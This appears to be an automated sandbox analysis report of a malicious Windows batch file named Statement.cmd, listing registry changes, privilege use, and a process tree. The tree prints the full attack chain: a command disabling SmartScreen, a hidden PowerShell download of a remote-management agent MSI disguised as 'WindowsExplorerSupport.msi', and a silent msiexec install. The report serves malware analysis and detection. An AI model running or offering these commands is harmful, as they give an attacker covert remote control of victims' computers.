Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Root\CTLs	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Clients = 3a0000000000	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4736	powershell.exe
4736	powershell.exe
2468	explorer.exe
2468	explorer.exe
5112	powershell.exe
5112	powershell.exe
3392	msiexec.exe
3392	msiexec.exe
5084	powershell.exe
5084	powershell.exe
3096	powershell.exe
3096	powershell.exe
2352	powershell.exe
2352	powershell.exe
4496	powershell.exe
4496	powershell.exe
5288	powershell.exe
5288	powershell.exe
5288	powershell.exe
5288	powershell.exe
5288	powershell.exe
1668	powershell.exe
1668	powershell.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
1928	powershell.exe
1928	powershell.exe
768	powershell.exe
768	powershell.exe
5840	powershell.exe
5840	powershell.exe
3936	powershell.exe
3936	powershell.exe
6016	powershell.exe
6016	powershell.exe
5624	powershell.exe
5624	powershell.exe
1136	powershell.exe
1136	powershell.exe
4108	powershell.exe
4108	powershell.exe
4076	powershell.exe
4076	powershell.exe
700	powershell.exe
700	powershell.exe
700	powershell.exe
4336	powershell.exe
4336	powershell.exe
564	powershell.exe
564	powershell.exe
4668	powershell.exe
4668	powershell.exe
4040	powershell.exe
4040	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2468	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	688	taskkill.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeShutdownPrivilege	2468	explorer.exe
Token: SeCreatePagefilePrivilege	2468	explorer.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeShutdownPrivilege	1632	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1632	msiexec.exe
Token: SeSecurityPrivilege	3392	msiexec.exe
Token: SeCreateTokenPrivilege	1632	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1632	msiexec.exe
Token: SeLockMemoryPrivilege	1632	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1632	msiexec.exe
Token: SeMachineAccountPrivilege	1632	msiexec.exe
Token: SeTcbPrivilege	1632	msiexec.exe
Token: SeSecurityPrivilege	1632	msiexec.exe
Token: SeTakeOwnershipPrivilege	1632	msiexec.exe
Token: SeLoadDriverPrivilege	1632	msiexec.exe
Token: SeSystemProfilePrivilege	1632	msiexec.exe
Token: SeSystemtimePrivilege	1632	msiexec.exe
Token: SeProfSingleProcessPrivilege	1632	msiexec.exe
Token: SeIncBasePriorityPrivilege	1632	msiexec.exe
Token: SeCreatePagefilePrivilege	1632	msiexec.exe
Token: SeCreatePermanentPrivilege	1632	msiexec.exe
Token: SeBackupPrivilege	1632	msiexec.exe
Token: SeRestorePrivilege	1632	msiexec.exe
Token: SeShutdownPrivilege	1632	msiexec.exe
Token: SeDebugPrivilege	1632	msiexec.exe
Token: SeAuditPrivilege	1632	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1632	msiexec.exe
Token: SeChangeNotifyPrivilege	1632	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe
2468	explorer.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2468	explorer.exe
3908	SearchHost.exe
1148	StartMenuExperienceHost.exe
2468	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3340 wrote to memory of 3432	3340	cmd.exe	80
PID 3432 wrote to memory of 2172	3432	net.exe	81
PID 3340 wrote to memory of 5188	3340	cmd.exe	82
PID 3340 wrote to memory of 688	3340	cmd.exe	83
PID 3340 wrote to memory of 2468	3340	cmd.exe	85
PID 3340 wrote to memory of 4736	3340	cmd.exe	86
PID 3340 wrote to memory of 5112	3340	cmd.exe	94
PID 3340 wrote to memory of 1632	3340	cmd.exe	95
PID 3392 wrote to memory of 5944	3392	msiexec.exe	97
PID 3392 wrote to memory of 4384	3392	msiexec.exe	98
PID 4544 wrote to memory of 5084	4544	action1_agent.exe	100
PID 4544 wrote to memory of 3096	4544	action1_agent.exe	102
PID 3096 wrote to memory of 3140	3096	powershell.exe	106
PID 4544 wrote to memory of 2352	4544	action1_agent.exe	107
PID 4544 wrote to memory of 4496	4544	action1_agent.exe	110
PID 4496 wrote to memory of 4152	4496	powershell.exe	112
PID 4544 wrote to memory of 5288	4544	action1_agent.exe	113
PID 4544 wrote to memory of 1668	4544	action1_agent.exe	115
PID 1668 wrote to memory of 2444	1668	powershell.exe	117
PID 4544 wrote to memory of 3832	4544	action1_agent.exe	118
PID 4544 wrote to memory of 1928	4544	action1_agent.exe	120
PID 4544 wrote to memory of 768	4544	action1_agent.exe	122
PID 4544 wrote to memory of 5840	4544	action1_agent.exe	124
PID 4544 wrote to memory of 3936	4544	action1_agent.exe	126
PID 4544 wrote to memory of 6016	4544	action1_agent.exe	128
PID 4544 wrote to memory of 5624	4544	action1_agent.exe	130
PID 4544 wrote to memory of 1136	4544	action1_agent.exe	132
PID 4544 wrote to memory of 4108	4544	action1_agent.exe	134
PID 4544 wrote to memory of 4076	4544	action1_agent.exe	136
PID 4544 wrote to memory of 700	4544	action1_agent.exe	138
PID 4544 wrote to memory of 4336	4544	action1_agent.exe	140
PID 4544 wrote to memory of 564	4544	action1_agent.exe	142
PID 4544 wrote to memory of 4668	4544	action1_agent.exe	144
PID 4544 wrote to memory of 4040	4544	action1_agent.exe	146
PID 4544 wrote to memory of 2280	4544	action1_agent.exe	148
PID 2280 wrote to memory of 3272	2280	powershell.exe	150
PID 2280 wrote to memory of 3124	2280	powershell.exe	151
PID 2280 wrote to memory of 1172	2280	powershell.exe	152
PID 2280 wrote to memory of 4196	2280	powershell.exe	153
PID 2280 wrote to memory of 5928	2280	powershell.exe	154
PID 2280 wrote to memory of 4480	2280	powershell.exe	155
PID 2280 wrote to memory of 4452	2280	powershell.exe	156
PID 2280 wrote to memory of 3940	2280	powershell.exe	157
PID 2280 wrote to memory of 5648	2280	powershell.exe	158
PID 2280 wrote to memory of 4052	2280	powershell.exe	159
PID 2280 wrote to memory of 1772	2280	powershell.exe	160
PID 2280 wrote to memory of 5720	2280	powershell.exe	161
PID 2280 wrote to memory of 5724	2280	powershell.exe	162
PID 2280 wrote to memory of 5496	2280	powershell.exe	163
PID 2280 wrote to memory of 4364	2280	powershell.exe	164
PID 2280 wrote to memory of 4156	2280	powershell.exe	165
PID 2280 wrote to memory of 4048	2280	powershell.exe	166
PID 2280 wrote to memory of 6100	2280	powershell.exe	167
PID 4544 wrote to memory of 3496	4544	action1_agent.exe	168
PID 4544 wrote to memory of 1744	4544	action1_agent.exe	170
PID 4544 wrote to memory of 616	4544	action1_agent.exe	172
PID 4544 wrote to memory of 2124	4544	action1_agent.exe	174
PID 4544 wrote to memory of 6104	4544	action1_agent.exe	176
PID 4544 wrote to memory of 1156	4544	action1_agent.exe	178
PID 4544 wrote to memory of 4764	4544	action1_agent.exe	180
PID 4544 wrote to memory of 3788	4544	action1_agent.exe	182
PID 4544 wrote to memory of 1144	4544	action1_agent.exe	184
PID 4544 wrote to memory of 3216	4544	action1_agent.exe	186
PID 4544 wrote to memory of 5452	4544	action1_agent.exe	188

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Remittance\Statement.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:3340
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2172
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f
  2⤵
  PID:5188
- C:\Windows\system32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:688
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Enumerates connected drives
  - Checks SCSI registry key(s)
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:2468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://app.action1.com/agent/9336d974-4afe-11f1-872f-e156ea9b9f48/Windows/agent(My_Organization).msi' -OutFile 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi' -UseBasicParsing"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\system32\msiexec.exe
  msiexec /i "C:\Users\Admin\AppData\Local\Temp\WindowsExplorerSupport.msi" /qn /norestart
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1632

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3908

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1148

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3392
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 55C3EC6EEF61FAD6E3B49AA11EFBFCD8
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5944
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2C88516CEF2E05FD01CE55067D6ECA9E E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:4384

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5084
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3096
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3140
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2352
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4496
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4152
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:5288
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\Action1\action1_agent.exe
    "C:\Windows\Action1\action1_agent.exe" loggedonuser
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2444
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3832
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1928
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:768
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5840
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:3936
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:6016
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:5624
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1136
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4108
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4076
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  PID:700
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4336
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:564
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:4668
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4040
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.126.31.3
    3⤵
    PID:3272
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 128.85.113.135
    3⤵
    PID:3124
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.126.31.69
    3⤵
    PID:1172
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 23.11.40.157
    3⤵
    PID:4196
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 40.126.31.3
    3⤵
    PID:5928
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.210.172
    3⤵
    PID:4480
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 3.213.90.174
    3⤵
    PID:4452
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 104.18.38.233
    3⤵
    PID:3940
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 172.64.149.23
    3⤵
    PID:5648
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:4052
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 204.79.197.203
    3⤵
    PID:1772
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 23.11.40.157
    3⤵
    PID:5720
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 199.232.214.172
    3⤵
    PID:5724
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 2.19.248.6
    3⤵
    PID:5496
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4364
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4156
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:4048
- - C:\Windows\system32\nslookup.exe
    "C:\Windows\system32\nslookup.exe" 10.127.0.1
    3⤵
    PID:6100
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:3496
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1744
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:616
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2124
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
